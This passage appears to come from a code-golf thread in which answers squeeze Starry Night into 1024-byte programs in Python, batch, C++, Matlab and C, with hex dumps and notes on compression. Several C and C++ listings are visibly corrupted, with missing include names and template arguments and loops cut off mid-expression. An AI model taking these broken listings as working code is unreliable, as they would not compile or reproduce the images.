z.D..\\\\Nn...bS..\n00001d0: 62ba 097c 2131 6f30 8803 bb35 2c8b 6685 b..|!1o0...5,.f.\n00001e0: 0753 f138 bf2d 9306 56c7 347d 909c 0295 .S.8.-..V.4}....\n00001f0: a124 8b79 a009 ad53 2885 1c59 01b3 656b .$.y...S(..Y..ek\n0000200: 892e 860b 4dcc 9988 8da0 099e 7764 769f ....M.......wdv.\n0000210: 425c 6ea0 8572 86b3 550b c6a8 904a 908a B\\n..r..U....J..\n0000220: 05d2 5e92 9a3c a905 e866 237d 3ca9 0b6c ..^..<...f#}<..l\n0000230: 7578 3681 ba07 7d80 9304 5c30 5302 97d1 ux6...}...\\0S...\n0000240: 507b 5c30 5401 4280 cf78 b083 0696 417e P{\\0T.B..x....A~\n0000250: 7730 920b 30c3 5589 295c 7838 655c 6ebd w0..0.U.)\\x8e\\n.\n0000260: 49e1 865c 3054 01f2 984b 5501 5602 086d I..\\0T...KU.V..m\n0000270: 574f 0154 03e6 a279 828c 9d07 926e 4c72 WO.T...y.....nLr\n0000280: 8a58 038c 8459 884b ba5c 6e70 846b 4a57 .X...Y.K.\\np.kJW\n0000290: c008 9077 9180 ab67 0b22 5368 9734 8911 ...w...g.\"Sh.4..\n00002a0: 1a6b 4967 2284 067c 815b 8570 9306 de9c .kIg\"..|.[.p....\n00002b0: a38a 8ba3 08ec 244f 485c 5cb3 083e b06e ......$OH\\\\..>.n\n00002c0: 7539 7c0c 36d5 bc86 94a1 042e 4132 859c u9|.6.......A2..\n00002d0: 9a01 7172 c05c 5c04 5a01 fd7a 457b 6d91 ..qr.\\\\.Z..zE{m.\n00002e0: 0611 7747 8d5d 9708 2b59 9548 c38c 01e8 ..wG.]..+Y.H....\n00002f0: 72e4 6c54 b706 a544 4e4e 5c30 5401 270a r.lT...DNN\\0T.'.\n0000300: 6d2c 683d 3531 322c 3632 0a66 6f72 2061 m,h=512,62.for a\n0000310: 2c62 2c63 2c64 2c72 2069 6e5b 7374 7275 ,b,c,d,r in[stru\n0000320: 6374 2e75 6e70 6163 6b28 2748 4842 4242 ct.unpack('HHBBB\n0000330: 272c 735b 372a 693a 372a 692b 375d 2966 ',s[7*i:7*i+7])f\n0000340: 6f72 2069 2069 6e20 7261 6e67 6528 3932 or i in range(92\n0000350: 295d 3a0a 2078 2c79 3d61 2f6d 2d68 2c62 )]:. x,y=a/m-h,b\n0000360: 2f6d 2d68 0a20 666f 7220 6b20 696e 2072 /m-h. for k in r\n0000370: 616e 6765 2868 293a 762e 6369 7263 6c65 ange(h):v.circle\n0000380: 287a 2c28 6125 6d2d 682b 782a 6b2f 682c (z,(a%m-h+x*k/h,\n0000390: 6225 6d2d 682b 792a 6b2f 6829 2c72 2c6e b%m-h+y*k/h),r,n\n00003a0: 2e63 6c69 7028 282e 392a 632b 2e39 2a64 .clip((.9*c+.9*d\n00003b0: 2d31 3230 2c63 2d2e 332a 642b 3431 2c2e -120,c-.3*d+41,.\n00003c0: 392a 632d 2e36 2a64 2b38 3029 2c30 2c32 9*c-.6*d+80),0,2\n00003d0: 3535 292c 2d31 290a 762e 696d 7772 6974 55),-1).v.imwrit\n00003e0: 6528 2761 2e70 6e67 272c 762e 626c 7572 e('a.png',v.blur\n00003f0: 287a 2c28 392c 3929 2929 (z,(9,9)))\n```\nIt uses a number of tricks used previously here:\n* Using a blur to push the final score up a bit\n* Cramming raw bytes into python code (which is not as simple as suggested earlier in this thread, more characters need to be escaped than just backslashes and nulls, dig into the code here for details).\n* Compressing the color space into two dimensions. Fascinatingly, this particular starry night image is nearly a plane in RGB space.\nAs a first primitive, I place a horizon line, splitting the image into two different colored blocks. Afterwards, as a basic primitive I used a circle dragged between two points. This looked vaguely like a brushstroke to me, but was possible to express in 7 bytes. For the search process, I used a guided pattern search. It proceeds by alternately adding a primitive, and optimizing its parameters. The primitive is added on the point where the blurred signed error is highest. The parameters are optimized by exhaustive line optimization over a small domain, one after the other. Forty to fifty primitives are added, and optimized individually. Then, the list of primitives is pruned down to size by throwing away the primitives that help the score the least.\nThis *still* does not beat nneonneo's score. To beat that score, a second stage optimization was required, which goes again through the process of adding primitives at each of several filtering levels, and throwing primitives away to trim the generated program down to size.\nWhat was really interesting to me was the idea of applying this to other images. I applied it to a couple of other images, and provide further details and animation of the primitives being drawn [in my blog here](http://strawprojects.blogspot.ca/2016/03/art_20.html).\nThe two programs used to generate this won't actually fit in the space allowable on Stack Exchange posts, but they are on github: \nstarrynight is run first, followed by stage2optimization. The resulting program is also there, in the same directory.\n[Answer]\n# Windows BAT file, score 4458.854\n```\necho QlBH+yAAgwKCQAADkkdARAHBcYMSAAABJgGvBVKInJKSe4D9mGo5+oRwrhSlmmqeYK22qun5kDzV+UZhRPdtXWSME8ABlNItkdoM5b0O7jO01KMnUbhSa4GAKq6U/AWBh8J4Od/O0RKwm2Bj1lAWi3yfWb9AB14B9/aml7juRU0fQTVS9LUQxE1eXTfp6f2SdBh9Ibyk3CNjdpEGdZLsuSPaQUP0vWnqtxyBsYQW1orBqzSh4zWFscTx5OMxA4FAw1/Y+/xx+TEUkogp4oykebVfCTFJYFRW6KZ+tvUOb5nFgrIuYbNrZcnWehWOK3rL7i2qCYJ2TnSlwKt4WL04zXve3ggGxAWlD/N6YCchdgS8zaZfVxouhwjbwc1Pb/KAajfGQlv7xHhj42ClMPGeqEZrriJTlLX8GUXpt8RP0LlbVR+PtgPRFerFRzJwTB5ThASKsaKt4LLSQqCXjgJvL2epSQaxq2IJkLelVTqate10dIngfVJqUL2r7omvwQ6N9DWi3ZiF6cRc4PMdPp4Ovo7nM/dlOn1CQ1sOp3mrP12EhGdiGvRsEqdt/jHC1roK5yJVv/L2bAOxK1EJ8qJqaApF7W1VY5htmci8C10UE5iTiBYcPzh8oxPUqXp9+wXgRsDY2sdIo6hOvp8IC9jQXkbDK2lJZjJvcwklTSFah/yqf6biaIOLTtHpEonH1jYXOS4dPzt6oNExlmJztgVFjbqlnB7k3i/mm2UL4+IPjgMMOmH+fwluY+cDA2zG+QtVDGwhSaEEvS9B7L2VkayIuEXKpk9pu/58xwlw4/xQOJE1QGVvSi6uL7DEH4qsumBOGAs50DRu2pCSGfa4c+wn3M0DuFM1p/iRFnq+aNk2PsPc00k8EI5i4QOt/+ac+zKmgEztiz7yI+FzIVKGnn32wLkHVu1ei3VhkWhMy8xlUTAq+fBreWQY > s.b64\ncertutil -decode s.b64 s.bpg\nbpgdec.exe -o stnight.png s.bpg\n```\nProgram size is 1024 bytes. \nConverts from base64-encoded BPG image to PNG. \nUses [certutil.exe](https://technet.microsoft.com/en-us/library/cc732443.aspx) (standard Windows utility) and [bpgdec.exe](https://en.wikipedia.org/wiki/Better_Portable_Graphics) image decoder as libraries.\nCompression:\n1. The original image was blurred (Gaussian Blur filter, radius 2 pixels).\n2. The result was encoded as BPG with bpgenc.exe (Quantizer = 50).\n3. Binary image converted to Base64.\n![Starry Night](https://i.stack.imgur.com/TXglj.png)\n[Answer]\n# C++11, ~~7441.68126105~~ ~~6997.65434833~~ 5198.16107651\n## More Updates\nI liked the ellipses from Perl so much I had to try them in C++11.\nI used the raw string to shove bytes into there, but for a while I was getting a slight discrepancy with the score I expected and the generated code. It turns out that you actually can't put a raw 0x0d (Carriage Return), since g++ will convert this to 0x0a (New Line). I'm honestly not sure how legitimate this generated source is, but it compiles and works on a couple of my machines.\nI also tried out another algorithm, [Adaptive Dimensional Search](http://www.sciencedirect.com/science/article/pii/S0045794915001042) after the GA looked like it stalled, just to try to polish off the local minimum and maybe get lucky and fall into another well.\nWith this, C++11 gives a surprisingly competitive score (far better than I would have initially guessed)... I'm pretty surprised that it can do this with fstream as the only include.\nText (yes, the newlines are in the actual source... I suppose I could remove them):\n```\n#include \n#define U unsigned\nint main(){\nauto *d=reinterpret_cast(R\"(<>)\");\nU a=320,b=386,n=*d++;\nchar m[a*b*3]{0};\nfor(U i=0;i.#define U uns\n00000020: 6967 6e65 640a 696e 7420 6d61 696e 2829 igned.int main()\n00000030: 7b0a 6175 746f 202a 643d 7265 696e 7465 {.auto *d=reinte\n00000040: 7270 7265 745f 6361 7374 3c63 6f6e 7374 rpret_cast(R\"(Q.t\n00000060: 5134 8c86 6c7f 2ea0 3638 4c8b c001 c126 Q4..l...68L....&\n00000070: 6e84 9500 480b 2964 778f 0196 5c09 353d n...H.)dw...\\.5=\n00000080: 346f 476e 6433 4581 0f02 0509 9798 4d12 4oGnd3E.......M.\n00000090: 0110 0362 7482 6300 4d1f 2631 645b 213d ...bt.c.M.&1d[!=\n000000a0: 187e 835c 6f84 333d 2c3e 4f9d 71bb 1e22 .~.\\o.3=,>O.q..\"\n000000b0: 2d3d 1f4f 0248 2424 235f 577e 1f71 8990 -=.O.H$$#_W~.q..\n000000c0: b314 3a89 404a 5920 1202 0c23 242a 8e01 ..:.@JY ...#$*..\n000000d0: 6d30 3645 7145 86b0 082c 3543 4d42 1f52 m06EqE...,5CMB.R\n000000e0: 6879 7c7a 336d 1a37 4c82 b876 b606 3146 hy|z3m.7L..v..1F\n000000f0: 70a1 015e 0b38 4b7f 0e46 a916 4360 8550 p..^.8K..F..C`.P\n00000100: 1623 0930 407c bf13 6e73 4556 6252 9837 .#.0@|..nsEVbR.7\n00000110: 4326 2c31 7d81 3303 2e3c 526c 4123 4b37 C&,1}.3..P..<+3\n00000150: 2f3d 6fb6 191f 6752 5f63 b09e 5b0c 3239 /=o...gR_c..[.29\n00000160: 4021 4b20 1941 5c87 ab18 1c1e 4a5f 8c35 @!K .A\\.....J_.5\n00000170: 9d19 311d 211e af4b 3327 4f64 986c 2712 ..1.!..K3'Od.l'.\n00000180: 573b 4b73 b733 a718 5f76 9ca9 2919 2163 W;Ks.3.._v..).!c\n00000190: 7e9e 8147 8914 8996 726b 1c17 1670 807b ~..G....rk...p.{\n000001a0: 5038 930e 6279 94b0 351d 3086 9b8e ba40 P8..by..5.0....@\n000001b0: c10e 3449 6721 4002 232f 394e 22a0 0e74 ..4Ig!@.#/9N\"..t\n000001c0: 2b2f 2c09 3d0e 1666 7e97 0570 2e05 526d +/,.=..f~..p..Rm\n000001d0: 8a68 1e2f 0a40 5586 bf5d 150c 2022 2e5e .h./.@U..].. \".^\n000001e0: 260e 4b3a 4a7d a368 3807 4c63 972b 5707 &.K:J}.h8.Lc.+W.\n000001f0: 2e41 5a79 865e 3c06 2326 3927 9d0e 411d .AZy.^<.#&9'..A.\n00000200: 211d c030 9b16 657f 9666 2434 0a5f 7592 !..0..e..f$4._u.\n00000210: 873b 0a1d 8895 89a9 432e 0aa2 aa95 af1d .;......C.......\n00000220: 1212 aab1 7c80 5833 162c 3758 834d 3117 ....|.X3.,7X.M1.\n00000230: 718b 9579 2a06 163e 5381 8439 3b0c 5172 q..y*..>S..9;.Qr\n00000240: 9d54 3a16 1538 4e73 8c4f 1f0e 8fa2 9ab0 .T:..8Ns.O......\n00000250: 200b 07b8 a946 5e40 1e19 5971 9457 5028 ....F^@..Yq.WP(\n00000260: 125b 779b bb49 1a07 a1ad a022 7b0a 421f .[w..I.....\"{.B.\n00000270: 231f 585e 200f 5f77 8a41 5b0e 136a 8089 #.X^ ._w.A[..j..\n00000280: 9ca0 9d01 5648 3a40 550c 0c9f a89e 7841 ....VH:@U.....xA\n00000290: 2a19 566f 9429 2229 3b0a 5520 613d 3332 *.Vo.)\");.U a=32\n000002a0: 302c 623d 3338 362c 6e3d 2a64 2b2b 3b0a 0,b=386,n=*d++;.\n000002b0: 6368 6172 206d 5b61 2a62 2a33 5d7b 307d char m[a*b*3]{0}\n000002c0: 3b0a 666f 7228 5520 693d 303b 693c 6e3b ;.for(U i=0;i\n#include \n#define q operator\n#define s struct\n#define k return\nusing o=std::ofstream;using i=int;s C{unsigned char r,g,b;};void q<<(o &z,C &c){z< p;};void q<<(o &z,P &p){z<<\"P6\\n\"<\n#include \n#define q operator\n#define s struct\n#define k return\nusing i=int;using o=std::ofstream;s C{unsigned char r,g,b;};void q<<(o &z,C &c){z< p;};void q<<(o &z,X &p){z<<\"P6\\n\"<\n#include \n#include \n#define q operator\n#define s struct\n#define k return\nusing o = std::ostream; using i = int; s C{i r;i g;i b;}; o &q<<(o &z,C &c){z<<(char)c.r<<(char)c.g<<(char)c.b;k z;} s R{i x;i y;i w;i h;C c;};s P{P(i a,i b):w(a),h(b){p.reserve(w*h);}C &q()(i x,i y){k p[y*w+x];}i w;i h;std::vector p;}; o &q<<(o &z,P &p){z<<\"P6\\n\"< |\n00000240: 30 0A 55 EB F3 54 CF E0 - 3D DD 9F FB B6 DC 9B BF |0 U T = |\n00000250: 7F 27 03 52 0D CD BD 73 - AE 5D 8A 84 4E A8 2E 28 | ' R s ] N .(|\n00000260: 9A 5E B7 FF FD 6A 28 99 - 03 CA 13 AB AE FB C2 DF | ^ j( |\n00000270: 1A 75 54 21 77 B6 28 A8 - F4 3E 4F 5A 7A 34 3E 6B | uT!w ( >OZz4>k|\n00000280: 58 2F E4 5A 6B EE 5A 85 - 6F AD 65 2F 50 63 57 F7 |X/ Zk Z o e/PcW |\n00000290: 2F 7C 48 DD 06 30 8F D8 - D7 51 91 34 CE 1A 00 8A |/|H 0 Q 4 |\n000002a0: B1 37 6E 9E 67 BD C3 0B - CE A9 AA BD D4 3A A2 4B | 7n g : K|\n000002b0: B4 11 69 0B 22 DF 6E C4 - C4 89 D5 5D 7D 8C 41 DE | i \" n ]} A |\n000002c0: 1E BD 98 68 C9 EB 14 55 - 1E FA 2F 40 88 D9 68 55 | h U /@ hU|\n000002d0: 4D 93 B9 3D 43 54 9F 79 - CC 23 93 40 6F 4D E5 25 |M =CT y # @oM %|\n000002e0: 44 76 37 9C 91 21 C6 9C - 63 1C D5 CD C1 F8 52 6B |Dv7 ! c Rk|\n000002f0: 9E A1 1B E1 1A 56 E4 23 - 36 A2 7A D0 DE F3 89 DD | V #6 z |\n00000300: 51 EC D1 BC C8 BD A5 12 - 20 47 F9 47 E3 6D 0F 20 |Q G G m |\n00000310: E2 27 4B 89 85 FD 8E BA - 11 40 C5 21 FF 52 45 A5 | 'K @ ! RE |\n00000320: 6F 9E 6C 13 D9 75 8C 3E - E9 01 D0 2F 80 89 A2 08 |o l u > / |\n00000330: 0A 30 4A 2D C0 F8 B5 E3 - 2F DC 93 42 FE 8D D4 81 | 0J- / B |\n00000340: CB 0B E1 02 23 33 16 F2 - BD 59 A4 94 01 20 3F 39 | #3 Y ?9|\n00000350: 64 97 B2 2B D1 11 0E 47 - F6 AE 85 E6 C4 C7 5F 80 |d + G _ |\n00000360: 8F 42 36 76 21 60 F5 64 - 7E 72 24 67 2F BF 44 45 | B6v!` d~r$g/ DE|\n00000370: EE 78 B7 91 74 A7 95 4D - 06 2E E0 7F 45 A0 78 10 | x t M . E x |\n00000380: D6 83 9A CA 8E 75 17 9C - 00 05 FD 1F 70 95 57 70 | u p Wp|\n00000390: B4 79 BA 97 53 1B AA BF - 39 DC 56 98 10 AF 73 DA | y S 9 V s |\n000003a0: 06 72 B7 50 9D 0B E2 5F - 10 6E 54 DF 5F 8C 4C 48 | r P _ nT _ LH|\n000003b0: 3C E9 FE 03 71 28 35 5B - 5B 36 D8 64 00 00 00 00 |< q(5[[6 d |\n000003c0: 49 45 4E 44 AE 42 60 82 - |IEND B` |\n000003c8;\n```\nProducing this image:\n[![starry night - compressed](https://i.stack.imgur.com/sd1I9.png)](https://i.stack.imgur.com/sd1I9.png)\n---\nYou're probably wondering how I generated the input file, and the answer is rather simple. Resize to 48x40 with the Lanczos filter, use a 20 color indexed palette, and optimize the resulting PNG.\n```\nconvert ORIGINAL.png -filter Lanczos2 -resize x40 - | pngquant --speed 1 -f 20 > i\noptipng -o7 -strip all i && advdef -z -4 -i 1024 i\n```\nUses [`convert`](http://www.imagemagick.org/script/index.php), [`pngquant`](https://pngquant.org/), [`optipng`](http://optipng.sourceforge.net/) and [`advdef`](https://github.com/amadvance/advancecomp).\n[Answer]\n# Matlab, score 5388.3\nWithout any built in compression. The colour depth is reduced such that each pixel can be represented by one printable character. And the resolution is reduced. This is then hardcoded as a string. The code itself reverses the whole process. The resizing operation is using a Lanczos 3 interpolation kernel.\n```\nimwrite(imresize(reshape('@<8BJJME4IC>;5011012313:6IFLF:=>8532313@<4AOI6M\\M>22322M>HMJNQH44504B8FGBIDF=LE6:738>4@IDFAEAMH9:<69HHNEB>OA;<<99AV?@DFFCCN98<58=8;XJ?IIKQ89875@>?ABC@ECNM9>:88;AL[TBBCN^F5><7=6F`hgXAI_T==C@;:9Iehh\\?RdB5FFD9;7DX]^OD]]66CCA:9:EB?HQSUNFURE7<:A[O@AOUUWNP[J7;=A>?;6;<542=C7JHC?9122113435?642325FB;JWP?U`SB33333SCCRKMN\\h_U;4422HDHRFPTSUWQ:7633G>KNKQMOGTM:?858C8EPLOINKUP@@>:C89B:6ADFIKMJOLUV>E?;>=HTb[LMOVdM:EB:@8Odde_NTc\\ACIF@=;QfebaLYhG7OLI<>:I^aaXN`a78JGF>;:=?5219LG@KK?:01///2323JSLV`ZNPQC741223PTVZ\\RO]\\YE12211SUUXRU]^Z_XA3210QOUUS[^^]VUI<930RSTVY[WZVXSFF;57SQSZZ]WXZVVMF>;9:SSQSXUX]]XFJK<6>ROTX\\YZ][[INB>:CSY^^^Y\\[YXMNBACAUZ[ZZ]^\\^PKPH?D?YSAFXaa^^HVSKEAAWMK6.8$ .Q.Z..o..&\n0000170: d5f8 5df6 cdc3 07b5 76dd 2593 170f e9b7 ..].....v.%.....\n0000180: 07db ad63 3746 9639 f707 8581 2a16 b9a1 ...c7F.9....*...\n0000190: 3563 c292 a112 d7c1 2d25 9461 99c4 990e 5c......-%.a....\n00001a0: f917 2346 dc6f 51a5 fdc0 3a44 2f4f b0c9 ..#F.oQ...:D/O..\n00001b0: 15e9 7d88 d386 47aa b705 e97c f2ee c419 ..}...G....|....\n00001c0: e078 9aa3 b574 645a 631a 678a b7c7 6e69 .x...tdZc.g...ni\n00001d0: 4bd4 e8df b657 d56e 9351 8750 63c2 141c K....W.n.Q.Pc...\n00001e0: e3bb 8305 33ad 3362 08e8 d4b0 c5a8 af67 ....3.3b.......g\n00001f0: 9695 63a0 ae96 a6fd 00a1 0105 eca5 db9e ..c.............\n0000200: 27ce d2fb c8ea 7457 2f38 5fd0 080a 2ac7 '.....tW/8_...*.\n0000210: 4919 6b6a 424d ef1e 02c4 3607 de31 7c0f I.kjBM....6..1|.\n0000220: 7cb0 c90a 609b bbc1 7ae5 8d17 7fd3 406e |...`...z.....@n\n0000230: 8df7 81f8 fb51 7366 beb2 fb62 51e3 58ce .....Qsf...bQ.X.\n0000240: 55d5 8a28 a63b 7b31 0ede bdc2 9d13 04a2 U..(.;{1........\n0000250: c039 de93 638d 6c68 c3d3 e762 36ed 4ae2 .9..c.lh...b6.J.\n0000260: a3be 781b 150a 7b82 9f0b 0a14 17b7 ade1 ..x...{.........\n0000270: 687a c84f 5a2f 88d1 a141 76fe bf7b c220 hz.OZ/...Av..{. \n0000280: 6189 8424 d7e3 3595 882f 1ec9 a363 3501 a..$..5../...c5.\n0000290: 3056 f6f9 dced 2b37 733b 8659 f5e9 93f9 0V....+7s;.Y....\n00002a0: fa5b 419a cb78 e0ef d7b4 1e83 7fce 4383 .[A..x........C.\n00002b0: 7eee 10af 2baa 1445 eb06 d75c 4220 53f9 ~...+..E...\\B S.\n00002c0: 34fd 76c0 2117 f916 f3b7 f599 0977 2562 4.v.!........w%b\n00002d0: 085d a2d4 74c1 2e6c 0a21 5ccf 6a9f c045 .]..t..l.!\\.j..E\n00002e0: 91e0 de66 29af de27 af2b f673 8cb5 b2ea ...f)..'.+.s....\n00002f0: b070 31fd b81f 8db1 8e25 3243 31a0 ca08 .p1......%2C1...\n0000300: e801 e4b6 df72 4029 16b2 a712 7ee4 c2e6 .....r@)....~...\n0000310: acaa f84c d17d 3d46 65d5 8226 bd65 da45 ...L.}=Fe..&.e.E\n0000320: 3cac 95d8 ed0e 1153 7587 09ec d745 4f50 <......Su....EOP\n0000330: ba4c 314b 4ac3 b6b7 4964 1ee8 e321 c029 .L1KJ...Id...!.)\n0000340: 7ae2 4630 fe05 ddd1 f68e 5646 857d e8fb z.F0......VF.}..\n0000350: 601e 453f e53e fe0d 0c5e 5da6 4a03 f6d9 `.E?.>...^].J...\n0000360: c59b 0b7f b2de f354 21bb c0c5 8bb9 dfa1 .......T!.......\n0000370: f3e5 76a7 bbce 175e cc27 125f dd9b adc2 ..v....^.'._....\n0000380: cd79 d2c0 43f1 6df4 203a d3c4 9b25 7fea .y..C.m. :...%..\n0000390: 1905 7620 01bf a477 8c0e 9145 1d30 86d5 ..v ...w...E.0..\n00003a0: 598d 7f40 ad72 603e c90f 5a62 db09 1161 [[email protected]](/cdn-cgi/l/email-protection)`>..Zb...a\n00003b0: a36d bbfc 020a 9835 7fc7 a468 4c36 5120 .m.....5...hL6Q \n00003c0: 01fc 705e 64d4 4e62 3c52 48a5 42fb 6361 ..p^d.Nb\n#include \n#define W 386\n#define H 320\n#define SZ (W*H)\nunsigned char I[SZ*3];\nvoid d(int R,int G,int B,int x,int y,int r)\n{while (r) {\nfloat p;\nfor (p=0;p<6.3;p+=(1/(6.3*r))) {\nint xo=r*cos(p);\nint idx=x+xo+floor(y+r*sin(p))*W;\nif ((x+xo0&&idx.qS3'<\n00001c0: 311d 7347 681c 1713 294c 3d11 6b21 235d 1.sGh...)L=.k!#]\n00001d0: 7e49 6212 3d1a 2923 450e 0f50 1936 5114 ~Ib.=.)#E..P.6Q.\n00001e0: 3753 5217 1211 0e7a 7f33 7e15 190e 1a0f 7SR....z.3~.....\n00001f0: 3a0e 5a6c 1721 1863 623b 5853 1715 7268 :.Zl.!.cb;XS..rh\n0000200: 117b 4c24 793f 6929 3c7b 1020 1f2b 4253 .{L$y?i)<{. .+BS\n0000210: 4e10 0e0e 1720 3020 0e0e 5613 270f 4c2e N.... 0 ..V.'.L.\n0000220: 630f 3229 420e 561a 0e64 547b 2825 0f44 c.2)B.V..dT{(%.D\n0000230: 1f19 7e71 1f3f 3054 0e21 4a38 4556 2044 ..~q.?0T.!J8EV D\n0000240: 5761 181e 110e 7e7f 2178 211a 0f11 0f41 Wa....~.!x!....A\n0000250: 0e66 6d23 272a 5563 3b50 6e13 167b 6f2b .fm#'*Uc;Pn..{o+\n0000260: 6550 3477 5571 2e50 650e 292b 2055 5d62 eP4wUq.Pe.)+ U]b\n0000270: 1425 0f33 1e40 1b11 0e5d 1134 105b 3566 .%.3.@...].4.[5f\n0000280: 1242 0e4b 0e5f 2818 685f 753c 3d0e 571c .B.K._(.h_u<=.W.\n0000290: 1e73 7b13 5045 5730 4673 6252 5510 7952 .s{.PEW0FsbRU.yR\n00002a0: 6e30 4d0e 3949 4c0f 5b44 1620 1753 7e2a n0M.9IL.[D. .S~*\n00002b0: 7a54 512a 4f0e 6031 5d70 0f16 525e 4c4e zTQ*O.`1]p..R^LN\n00002c0: 534a 1443 5e13 6311 361a 4f10 5a60 6e0f SJ.C^.c.6.O.Z`n.\n00002d0: 3e19 4b2c 5e1d 2d43 5b1d 5441 5f4e 5221 >.K,^.-C[.TA_NR!\n00002e0: 520f 6719 5657 5851 3d51 5463 0e60 1912 R.g.VWXQ=QTc.`..\n00002f0: 5162 727f 4d70 4c4f 7f1f 5233 4d4c 7d6d Qbr.MpLO..R3ML}m\n0000300: 574f 7f3c 4f4d 4e68 6f7d 3950 513a 695e WO./?`~ '''\n for i in n:z=z*f+d.index(i)\n while z:z,m=divmod(z,t);s=d[m]+s\n return s\ni=I.new('RGB',(386,320))\nK=V(\"\"\"12XsPc/p^m(:,enp:SN8brwj%!iChDHKj\"*445Z.;/8Xj408fV9a7:v$N#cj_WNW7p#t9:](i?S!}yg*D4u$RfpU=}=@Ft^v7$N5O?8eeN%.bT:Q>+AOd3E*R/1PXq.IO,ur3h<`dS)V;e/lj6q'p4s|m>fkk;DBCFif{zJEDfx3FKqB*?2Qti:(pYSa-uZU,M!^N =bRbZ`}j}P-u-n>lGH|pv>#r\"}Eg&c6J&fi.IC@2:L\"\"\",94,10)[1:]\ne=D.Draw(i)\nfor X in range(0,len(K),21):\n y=K[X:X+21];x=[]\n for z in range(0,21,3):x+=[int(y[z:z+3])]\n e.rectangle((x[0],x[1],x[2],x[3]),(x[4],x[5],x[6]))\ni=i.filter(F.GaussianBlur(radius=5))\ni.save('2.png')\n```\n[![enter image description here](https://i.stack.imgur.com/xT5Jg.png)](https://i.stack.imgur.com/xT5Jg.png)\n[Answer]\n# Python 2, ~~5098.24~~ ~~5080.04~~ ~~4869.15~~ ~~4852.87~~ 4755.88589004\nNo built-in decompression used! Just PIL's resize utility and a manually-decoded 16-color image. Therefore it should be eligible for the bounty.\nThe program contains embedded non-ASCII chars. It is 1024 bytes long and looks like this:\n```\nfrom PIL.Image import*\nfrombuffer('RGB',(40,41),''.join(')9„ ˜§˜ qˆš Vn• 8OŠ Ql‘ §§g ¶¤4 w‡v M]j 8FR AG8 )4V ! 7Jr ).0'.split()[int(c,16)]for c in'»«»ÝýÝßÝßûûÿ¿úª»ÿÿÿºÿûÿÝÝÝÝÝݺÿýÿú™¬ÏÌÿÿû»ýÝÝÝÝÝÝÿÿû»¿üüÌê­ÿÿ¿ÝÝÝÝÝÝÝÿªûÿýʬ©ú»ú¯«ÝÝÝÝÝýÿÿúÿýÝ߯™ú©®üªÝÝÝÝÝÝÿûÚ¬ýÿÿ«ÿÿÌϺÏÝÝÝÝÝßÿû¹¬¯ÿʯÿšüÌÿÌßßÝÝÝßÌúª¯Î¬ÏüΙš™üÌßÝÝÝÝÿί̮îªÿÊîåššÿÿýÝÝÝÝüÿ©®™žª©™ž™™™þLÏÝÝÝÝÿüž®ìî©©™™•U?ÝÝýßìÌÌäîÌäéîž•™©C3=ÝßýþYÌåîîîÌDDDS3TS2Ýßý’5UU9îîÏþÎDS352Ýßù!5RUžÌÏÎÏÌã352ÝÚ©2†(\"U9™%žÏþUD!#­ÝÚã(\"&\"\"\"9¬Ïÿ’äíÝþ‘SS5!\"\"ÿÿDDíÝþ‘3U4UR#2#­ÜDSÝó!^SEäS35Q+ÝE6oÝõ1N5DER32C)%VoÝù233#UR#\"5!HÝÎU2#\"3S3U32515SÝ®îE224äE%TR53!2\"?ÿNÎE\"%E3U2\"\"523\"\"9ÿ^Äå\"4U3%S9US335Q\"25ÿ#ã%S352\"UNUU335U%S#ÿ\"8eS233\"^DUT5353S#2¯#3.ã233#DDC5S2\"#2\"2©###ÎU5S5US34S3^Å222.DE3E4X52fa4ÎNÄDS5\"ES5R>!U!gwaTDNÉ•56““5\"î6#SgwqDD@¦xDE224îS5SwfaDD\\0ùiîUYYîîDäDSwÄD@þžîDîîîîãUÌî2gfÄDàüà@@Î8ˆìä3!fvå\"PÌàäNI”Dî6hDîTQfÃf ÎîÄ(6„îàX…NND’#Ãf,ÉlĈ9î”îDîDDDTC#UÉ\"œÉœä“NI•NìÎîäNUTTî'.encode('hex'))).resize((386,320),3).save('o.png')\n```\nand in hex:\n```\n0000000: efbb bf66 726f 6d20 5049 4c2e 496d 6167 ...from PIL.Imag\n0000010: 6520 696d 706f 7274 2a0a 6672 6f6d 6275 e import*.frombu\n0000020: 6666 6572 2827 5247 4227 2c28 3430 2c34 ffer('RGB',(40,4\n0000030: 3129 2c27 272e 6a6f 696e 2827 2939 8420 1),''.join(')9. \n0000040: 98a7 9820 7188 9a20 566e 9520 384f 8a20 ... q.. Vn. 8O. \n0000050: 516c 9120 a7a7 6720 b6a4 3420 7787 7620 Ql. ..g ..4 w.v \n0000060: 4d5d 6a20 3846 5220 4147 3820 2934 5620 M]j 8FR AG8 )4V \n0000070: 1d21 1e20 374a 7220 292e 3027 2e73 706c .!. 7Jr ).0'.spl\n0000080: 6974 2829 5b69 6e74 2863 2c31 3629 5d66 it()[int(c,16)]f\n0000090: 6f72 2063 2069 6e27 bbab bbdd fddd dfdd or c in'........\n00000a0: dffb fbff bffa aabb ffff ffba fffb ffdd ................\n00000b0: dddd dddd ddba fffd fffa 99ac cfcc ffff ................\n00000c0: fbbb fddd dddd dddd ddff fffb bbbf fcfc ................\n00000d0: ccea adff ffbf dddd dddd dddd ddff aafb ................\n00000e0: fffd caac a9fa bbfa afab dddd dddd ddfd ................\n00000f0: ffff faff fddd dfaf 99fa a9ae fcaa dddd ................\n0000100: dddd dddd fffb daac fdff ffab ffff cccf ................\n0000110: bacf dddd dddd dddf fffb b9ac afff caaf ................\n0000120: ff9a fccc ffcc dfdf dddd dddf ccfa aaaf ................\n0000130: ceac cffc ce99 9a99 fccc dfdd dddd ddff ................\n0000140: ceaf ccae eeaa ffca eee5 9a9a ffff fddd ................\n0000150: dddd ddfc ffa9 ae99 9eaa a999 9e99 9999 ................\n0000160: fe4c cfdd dddd ddff fc9e aeec eeee aaba .L..............\n0000170: a9a9 9999 9555 3fdd ddfd dfec cccc e4ee .....U?.........\n0000180: cce4 e9ee 9e95 99a9 4333 3ddd dffd fe59 ........C3=....Y\n0000190: cce5 eeee eecc 4444 4453 3354 5332 9ddd ......DDDS3TS2..\n00001a0: dffd 9235 5555 39ee eecf fece 4453 3335 ...5UU9.....DS35\n00001b0: 3211 9ddd dff9 2113 3552 559e cccf cecf 2.....!.5RU.....\n00001c0: cce3 3335 3212 9ddd daa9 3286 1228 2255 ..352.....2..(\"U\n00001d0: 3999 259e cffe 5544 2123 addd dae3 1128 9.%...UD!#.....(\n00001e0: 2226 2211 1212 2222 39ac cfff 92e4 eddd \"&\"...\"\"9.......\n00001f0: fe91 1112 5353 3521 2211 1111 221a ffff ....SS5!\"...\"...\n0000200: 4444 eddd fe91 1111 3355 3455 5223 3211 DD......3U4UR#2.\n0000210: 1123 addc 4453 